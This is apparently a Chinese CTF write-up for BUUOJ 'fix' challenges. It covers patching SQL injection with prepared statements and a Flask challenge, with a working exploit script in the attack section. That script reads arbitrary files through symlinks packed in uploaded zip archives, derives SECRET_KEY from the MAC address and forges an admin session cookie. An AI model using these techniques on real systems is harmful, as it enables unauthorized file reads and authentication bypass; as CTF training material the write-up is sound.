buuoj新上了加固题这个分类,也就是线下awdp中fix的部分,只要将靶机中存在的漏洞修复好并通过check的检测即可拿到flag;有一说一,比单纯attack拿flag会简单很多(适合我这种沸物web
下面的wp会先说纯修复角度,再串一下整体的知识点;因为自己水平有限,想尽可能说的清楚一些就会比较啰嗦,见谅QAQ
Ezsql
FIX
200行,太典了,对传入的参数完全没有检测,是个筛子;用预处理的方式修,又可以分为两种形式
mysql预处理
其中201行的ss
指的是绑定SQL参数的类型为string,这一项必不可少而且必须与后面的参数一一对应
PDO预处理
PDO预处理属于是通防了,能有效地应对sqli特别是堆叠注入,208行的设置项意为禁用模拟预处理
[CISCN2021 总决赛]babypython
FIX
ssh连上后看下目录结构
查看/app/y0u_found_it/y0u_found_it_main.py
11行这不是典中典了?读mac地址就打通了,所以我们直接把SECRET_KEY改为一个又长又乱的随机字符串即可,可以使用uuid/guid生成器来生成
————碎碎念:这里修复的时候可能看脸?我在几天前试的时候用的一模一样的方法,但是怎么都不能过check,今天试了一次就可以了,但是在写wp的时候再复盘就又不可以了……emmm 可能还是哪里的细节出了错但是我没有注意到?给我整不会了属于是
关于本题
是个原题,还是个有了包浆的原题,参见->[HCTF 2018]Hideandseek | [SWPU2019]Web3,做过的就知道这他妈真的就一模一样hhhhhhhh
考点在于linux软链接+uuid+flask-session伪造,后者还经常单独出题,比如 [CISCN2019 华东南赛区]Web4,都快烤烂了
考点一 · uuid&SECRET_KEY
SECRET_KEY通过uuid+伪随机数的方式生成,这个考点可以参考 [CISCN2019 华东南赛区]Web4,其中app.py是这样写的
uuid.getnode()
会以48位二进制长度的正整数形式返回mac地址,linux下mac地址的位置在/sys/class/net/eth0/address
,读出mac地址后我们也来生成一波伪随机数
之后通过flask-session-cookie-manager一把梭即可伪造session值
————另外,通常访问不存在目录时SECRET_KEY会出现在请求头中
考点二 · linux软链接文件读取&zip压缩包
ln -s是linux中的软链接命令,我们可以制作对应文件的绝对路径的软链接来读文件;当不知道flask工作目录可以使用/proc/self/cwd
来指向当前进程的目录
ln -s /proc/self/cwd/flag/flag/.jpg qwe
或者通过/proc/self/environ
文件里包含进程的环境变量,可以从中获取flask的绝对路径,再制作软链接(关于/proc的更多信息可以参见->/proc目录的妙用 | LFItoRCE利用总结,题->[网鼎杯 2020 白虎组]PicDown
ln -s /proc/self/environ qwe
而对于目录内文件的列举也是有方法的,参见->34C3 CTF Web题 extract0r Writeup
甚至也可以写入shell,参见->[深育杯 2021]Zipzip
制作好的软链接通过zip打包
zip -ry qwe.zip qwe
更多题目中的应用可以参见->记录一道题的多种解法
关于这个漏洞的实际应用可以参见->GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞
*ATTACK
exp.py - 1 生成软链接&zip&自动上传
import requests
import os
import sys
url = 'http://0a716e50-1cf2-4cd8-a00f-b70d9987ed64.node3.buuoj.cn/upload'
def makezip():
os.system('ln -s '+sys.argv[1]+' exp')
# os.system('zip --symlinks exp.zip exp')
os.system('zip -ry exp.zip exp')
makezip()
files = {'the_file':open('./exp.zip', 'rb')}
def exploit():
res = requests.post(url, files=files)
print(res.text)
exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')
python3 exp.py /proc/self/environ
python3 exp.py /app/y0u_found_it.ini
python3 exp.py /app/y0u_found_it/y0u_found_it_main.py
python3 exp.py /sys/class/net/eth0/address
exp.py - 2 根据mac地址生成伪随机数
import uuid
import random
mac = "02:42:0a:00:cb:06"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
result = str(random.random()*100)
print(result)
# 36.014406163923596
python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.FGg0EA.rHjESo_p6RCP0eiosSFmF3xEmRc'
python3 flask_session_cookie_manager3.py encode -s '36.014406163923596' -t "{u'username': u'admin'}"
翻回头看源码,好家伙这里有内鬼
返回的并不是真正的flag,而是secret.secret中的内容no flah
67行这里会对unzip打开的文件进行检查,只要含有flag字样就会重定向至/?error=1
————这里我感觉原题应该secret.py中的secret=
直接就能读出来flag,想了好久,再绕一层flag.txt的话我是想不出来什么bypass的方法了,我倾向于是布置环境的时候没有设置这一点(
***[CISCN2021 总决赛]easy_python
不知道是我的网络问题还是什么未知的bug……check之后就会宕机,只能重新下发靶机
***[CISCN2021 总决赛]ezj4va
https://juejin.cn/post/6997314123918737422
还不会java 先空着TAT